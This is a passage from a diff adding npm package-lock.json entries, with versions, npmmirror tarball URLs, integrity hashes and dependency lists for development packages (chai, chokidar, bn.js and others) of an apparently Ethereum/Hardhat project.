"sha512-DWNcCHolDq0ZKGizjx2DZjR/PqsYwAcYUJmfMWqtVU2MBMG5Mo+xFZrhGId5r/O5HOuMPyQEcM6KUBp5lBZZBg==", + "dev": true + }, + "@types/pbkdf2": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/@types/pbkdf2/-/pbkdf2-3.1.0.tgz", + "integrity": "sha512-Cf63Rv7jCQ0LaL8tNXmEyqTHuIJxRdlS5vMh1mj5voN4+QFhVZnlZruezqpWYDiJ8UTzhP0VmeLXCmBk66YrMQ==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/prettier": { + "version": "2.7.1", + "resolved": "https://registry.npmmirror.com/@types/prettier/-/prettier-2.7.1.tgz", + "integrity": "sha512-ri0UmynRRvZiiUJdiz38MmIblKK+oH30MztdBVR95dv/Ubw6neWSb8u1XpRb72L4qsZOhz+L+z9JD40SJmfWow==", + "dev": true, + "peer": true + }, + "@types/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmmirror.com/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==", + "dev": true, + "peer": true + }, + "@types/secp256k1": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@types/secp256k1/-/secp256k1-4.0.3.tgz", + "integrity": "sha512-Da66lEIFeIz9ltsdMZcpQvmrmmoqrfju8pm1BH8WbYjZSwUgCwXLb9C+9XYogwBITnbsSaMdVPb2ekf7TV+03w==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@ungap/promise-all-settled": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz", + "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==", + "dev": true + }, + "abbrev": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/abbrev/-/abbrev-1.0.9.tgz", + "integrity": "sha512-LEyx4aLEC3x6T0UguF6YILf+ntvmOaWsVfENmIW0E9H09vKlLDGelMjjSm0jkDHALj8A8quZ/HapKNigzwge+Q==", + "dev": true, + "peer": true + }, + "abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "dev": true, + "requires": { + "event-target-shim": "^5.0.0" + } + }, + "abstract-level": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/abstract-level/-/abstract-level-1.0.3.tgz", + "integrity": "sha512-t6jv+xHy+VYwc4xqZMn2Pa9DjcdzvzZmQGRjTFc8spIbRGHgBrEKbPq+rYXc7CCo0lxgYvSgKVg9qZAhpVQSjA==", + "dev": true, + "requires": { + "buffer": "^6.0.3", + "catering": "^2.1.0", + "is-buffer": "^2.0.5", + "level-supports": "^4.0.0", + "level-transcoder": "^1.0.1", + "module-error": "^1.0.1", + "queue-microtask": "^1.2.3" + } + }, + "acorn": { + "version": "8.8.0", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.8.0.tgz", + "integrity": "sha512-QOxyigPVrpZ2GXT+PFyZTl6TtOFc5egxHIP9IlQ+RbupQuX4RkT/Bee4/kQuC02Xkzg84JcT7oLYtDIQxp+v7w==", + "dev": true, + "peer": true + }, + "acorn-walk": { + "version": "8.2.0", + "resolved": "https://registry.npmmirror.com/acorn-walk/-/acorn-walk-8.2.0.tgz", + "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==", + "dev": true, + "peer": true + }, + "address": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/address/-/address-1.2.1.tgz", + "integrity": "sha512-B+6bi5D34+fDYENiH5qOlA0cV2rAGKuWZ9LeyUUehbXy8e0VS9e498yO0Jeeh+iM+6KbfudHTFjXw2MmJD4QRA==", + "dev": true, + "peer": true + }, + "adm-zip": { + "version": "0.4.16", + "resolved": "https://registry.npmmirror.com/adm-zip/-/adm-zip-0.4.16.tgz", + "integrity": "sha512-TFi4HBKSGfIKsK5YCkKaaFG2m4PEDyViZmEwof3MTIgzimHLto6muaHVpbrljdIvIrFZzEq/p4nafOeLcYegrg==", + "dev": true + }, + "aes-js": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/aes-js/-/aes-js-3.0.0.tgz", + "integrity": "sha512-H7wUZRn8WpTq9jocdxQ2c8x2sKo9ZVmzfRE13GiNJXfp7NcKYEdvl3vspKjXox6RIG2VtaRe4JFvxG4rqp2Zuw==", + "dev": true, + "peer": true + }, + "agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "requires": { + "debug": "4" + } + }, + "aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "requires": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "peer": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "amdefine": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/amdefine/-/amdefine-1.0.1.tgz", + "integrity": "sha512-S2Hw0TtNkMJhIabBwIojKL9YHO5T0n5eNqWJ7Lrlel/zDbftQpxpapi8tZs3X1HWa+u+QeydGmzzNU0m09+Rcg==", + "dev": true, + "optional": true, + "peer": true + }, + "ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true + }, + "ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmmirror.com/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "requires": { + "type-fest": "^0.21.3" + } + }, + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "antlr4ts": { + "version": "0.5.0-alpha.4", + "resolved": "https://registry.npmmirror.com/antlr4ts/-/antlr4ts-0.5.0-alpha.4.tgz", + "integrity": "sha512-WPQDt1B74OfPv/IMS2ekXAKkTZIHl88uMetg6q3OTqgFxZ/dxDXI0EWLyZid/1Pe6hTftyg5N7gel5wNAGxXyQ==", + "dev": true, + "peer": true + }, + "anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "arg": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", + "dev": true, + "peer": true + }, + "argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "array-back": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/array-back/-/array-back-3.1.0.tgz", + "integrity": "sha512-TkuxA4UCOvxuDK6NZYXCalszEzj+TLszyASooky+i742l9TqsOdYCMJJupxRic61hwquNtppB3hgcuq9SVSH1Q==", + "dev": true, + "peer": true + }, + "array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "peer": true + }, + "array-uniq": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/array-uniq/-/array-uniq-1.0.3.tgz", + "integrity": "sha512-MNha4BWQ6JbwhFhj03YK552f7cb3AzoE8SzeljgChvL1dl3IcvggXVz1DilzySZkCja+CXuZbdW7yATchWn8/Q==", + "dev": true, + "peer": true + }, + "array.prototype.reduce": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/array.prototype.reduce/-/array.prototype.reduce-1.0.4.tgz", + "integrity": "sha512-WnM+AjG/DvLRLo4DDl+r+SvCzYtD2Jd9oeBYMcEaI7t3fFrHY9M53/wdLcTvmZNQ70IU6Htj0emFkZ5TS+lrdw==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.2", + "es-array-method-boxes-properly": "^1.0.0", + "is-string": "^1.0.7" + } + }, + "asap": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", + "dev": true, + "peer": true + }, + "asn1": { + "version": "0.2.6", + "resolved": "https://registry.npmmirror.com/asn1/-/asn1-0.2.6.tgz", + "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", + "dev": true, + "peer": true, + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", + "dev": true, + "peer": true + }, + "assertion-error": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true, + "peer": true + }, + "astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "peer": true + }, + "async": { + "version": "2.6.4", + "resolved": "https://registry.npmmirror.com/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dev": true, + "requires": { + "lodash": "^4.17.14" + } + }, + "async-eventemitter": { + "version": "0.2.4", + "resolved": "https://registry.npmmirror.com/async-eventemitter/-/async-eventemitter-0.2.4.tgz", + "integrity": "sha512-pd20BwL7Yt1zwDFy+8MX8F1+WCT8aQeKj0kQnTrH9WaeRETlRamVhD0JtRPmrV4GfOJ2F9CvdQkZeZhnh2TuHw==", + "dev": true, + "requires": { + "async": "^2.4.0" + } + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true, + "peer": true + }, + "at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "peer": true + }, + "aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmmirror.com/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==", + "dev": true, + "peer": true + }, + "aws4": { + "version": "1.11.0", + "resolved": "https://registry.npmmirror.com/aws4/-/aws4-1.11.0.tgz", + "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==", + "dev": true, + "peer": true + }, + "balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "base-x": { + "version": "3.0.9", + "resolved": "https://registry.npmmirror.com/base-x/-/base-x-3.0.9.tgz", + "integrity": "sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==", + "dev": true, + "peer": true, + "requires": { + "tweetnacl": "^0.14.3" + }, + "dependencies": { + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmmirror.com/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==", + "dev": true, + "peer": true + } + } + }, + "bech32": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/bech32/-/bech32-1.1.4.tgz", + "integrity": "sha512-s0IrSOzLlbvX7yp4WBfPITzpAU8sqQcpsmwXDiKwrG4r491vwCO/XpejasRNl0piBMe/DvP4Tz0mIS/X1DPJBQ==", + "dev": true, + "peer": true + }, + "bigint-crypto-utils": { + "version": "3.1.6", + "resolved": "https://registry.npmmirror.com/bigint-crypto-utils/-/bigint-crypto-utils-3.1.6.tgz", + "integrity": "sha512-k5ljSLHx94jQTW3+18KEfxLJR8/XFBHqhfhEGF48qT8p/jL6EdiG7oNOiiIRGMFh2wEP8kaCXZbVd+5dYkngUg==", + "dev": true, + "requires": { + "bigint-mod-arith": "^3.1.0" + } + }, + "bigint-mod-arith": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/bigint-mod-arith/-/bigint-mod-arith-3.1.1.tgz", + "integrity": "sha512-SzFqdncZKXq5uh3oLFZXmzaZEMDsA7ml9l53xKaVGO6/+y26xNwAaTQEg2R+D+d07YduLbKi0dni3YPsR51UDQ==", + "dev": true + }, + "bignumber.js": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/bignumber.js/-/bignumber.js-9.1.0.tgz", + "integrity": "sha512-4LwHK4nfDOraBCtst+wOWIHbu1vhvAPJK8g8nROd4iuc3PSEjWif/qwbkh8jwCJz6yDBvtU4KPynETgrfh7y3A==", + "dev": true, + "peer": true + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "blakejs": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/blakejs/-/blakejs-1.2.1.tgz", + "integrity": "sha512-QXUSXI3QVc/gJME0dBpXrag1kbzOqCjCX8/b54ntNyW6sjtoqxqRk3LTmXzaJoh71zMsDCjM+47jS7XiwN/+fQ==", + "dev": true + }, + "bn.js": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-5.2.1.tgz", + "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==", + "dev": true + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "brorand": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/brorand/-/brorand-1.1.0.tgz", + "integrity": "sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==", + "dev": true + }, + "browser-level": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/browser-level/-/browser-level-1.0.1.tgz", + "integrity": "sha512-XECYKJ+Dbzw0lbydyQuJzwNXtOpbMSq737qxJN11sIRTErOMShvDpbzTlgju7orJKvx4epULolZAuJGLzCmWRQ==", + "dev": true, + "requires": { + "abstract-level": "^1.0.2", + "catering": "^2.1.1", + "module-error": "^1.0.2", + "run-parallel-limit": "^1.1.0" + } + }, + "browser-stdout": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", + "dev": true + }, + "browserify-aes": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/browserify-aes/-/browserify-aes-1.2.0.tgz", + "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==", + "dev": true, + "requires": { + "buffer-xor": "^1.0.3", + "cipher-base": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.3", + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "bs58": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/bs58/-/bs58-4.0.1.tgz", + "integrity": "sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw==", + "dev": true, + "requires": { + "base-x": "^3.0.2" + } + }, + "bs58check": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/bs58check/-/bs58check-2.1.2.tgz", + "integrity": "sha512-0TS1jicxdU09dwJMNZtVAfzPi6Q6QeN0pM1Fkzrjn+XYHvzMKPU3pHVpva+769iNVSfIYWf7LJ6WR+BuuMf8cA==", + "dev": true, + "requires": { + "bs58": "^4.0.0", + "create-hash": "^1.1.0", + "safe-buffer": "^5.1.2" + } + }, + "buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "dev": true, + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "buffer-xor": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/buffer-xor/-/buffer-xor-1.0.3.tgz", + "integrity": "sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ==", + "dev": true + }, + "bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "dev": true + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmmirror.com/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true + }, + "caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmmirror.com/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==", + "dev": true, + "peer": true + }, + "catering": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/catering/-/catering-2.1.1.tgz", + "integrity": "sha512-K7Qy8O9p76sL3/3m7/zLKbRkyOlSZAgzEaLhyj2mXS8PsCud2Eo4hAb8aLtZqHh0QGqLcb9dlJSu6lHRVENm1w==", + "dev": true + }, + "cbor": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/cbor/-/cbor-5.2.0.tgz", + "integrity": "sha512-5IMhi9e1QU76ppa5/ajP1BmMWZ2FHkhAhjeVKQ/EFCgYSEaeVaoGtL7cxJskf9oCCk+XjzaIdc3IuU/dbA/o2A==", + "dev": true, + "peer": true, + "requires": { + "bignumber.js": "^9.0.1", + "nofilter": "^1.0.4" + } + }, + "chai": { + "version": "4.3.6", + "resolved": "https://registry.npmmirror.com/chai/-/chai-4.3.6.tgz", + "integrity": "sha512-bbcp3YfHCUzMOvKqsztczerVgBKSsEijCySNlHHbX3VG1nskvqjz5Rfso1gGwD6w6oOV3eI60pKuMOV5MV7p3Q==", + "dev": true, + "peer": true, + "requires": { + "assertion-error": "^1.1.0", + "check-error": "^1.0.2", + "deep-eql": "^3.0.1", + "get-func-name": "^2.0.0", + "loupe": "^2.3.1", + "pathval": "^1.1.1", + "type-detect": "^4.0.5" + }, + "dependencies": { + "deep-eql": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/deep-eql/-/deep-eql-3.0.1.tgz", + "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", + "dev": true, + "peer": true, + "requires": { + "type-detect": "^4.0.0" + } + } + } + }, + "chai-as-promised": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/chai-as-promised/-/chai-as-promised-7.1.1.tgz", + "integrity": "sha512-azL6xMoi+uxu6z4rhWQ1jbdUhOMhis2PvscD/xjLqNMkv3BPPp2JyyuTHOrf9BOosGpNQ11v6BKv/g57RXbiaA==", + "dev": true, + "peer": true, + "requires": { + "check-error": "^1.0.2" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "charenc": { + "version": "0.0.2", + "resolved": "https://registry.npmmirror.com/charenc/-/charenc-0.0.2.tgz", + "integrity": "sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==", + "dev": true, + "peer": true + }, + "check-error": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/check-error/-/check-error-1.0.2.tgz", + "integrity": "sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA==", + "dev": true, + "peer": true + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + } + }, + "ci-info": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ci-info/-/ci-info-2.0.0.tgz", + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==", + "dev": true + }, + "cipher-base": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/cipher-base/-/cipher-base-1.0.4.tgz", + "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "classic-level": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/classic-level/-/classic-level-1.2.0.tgz", + "integrity": 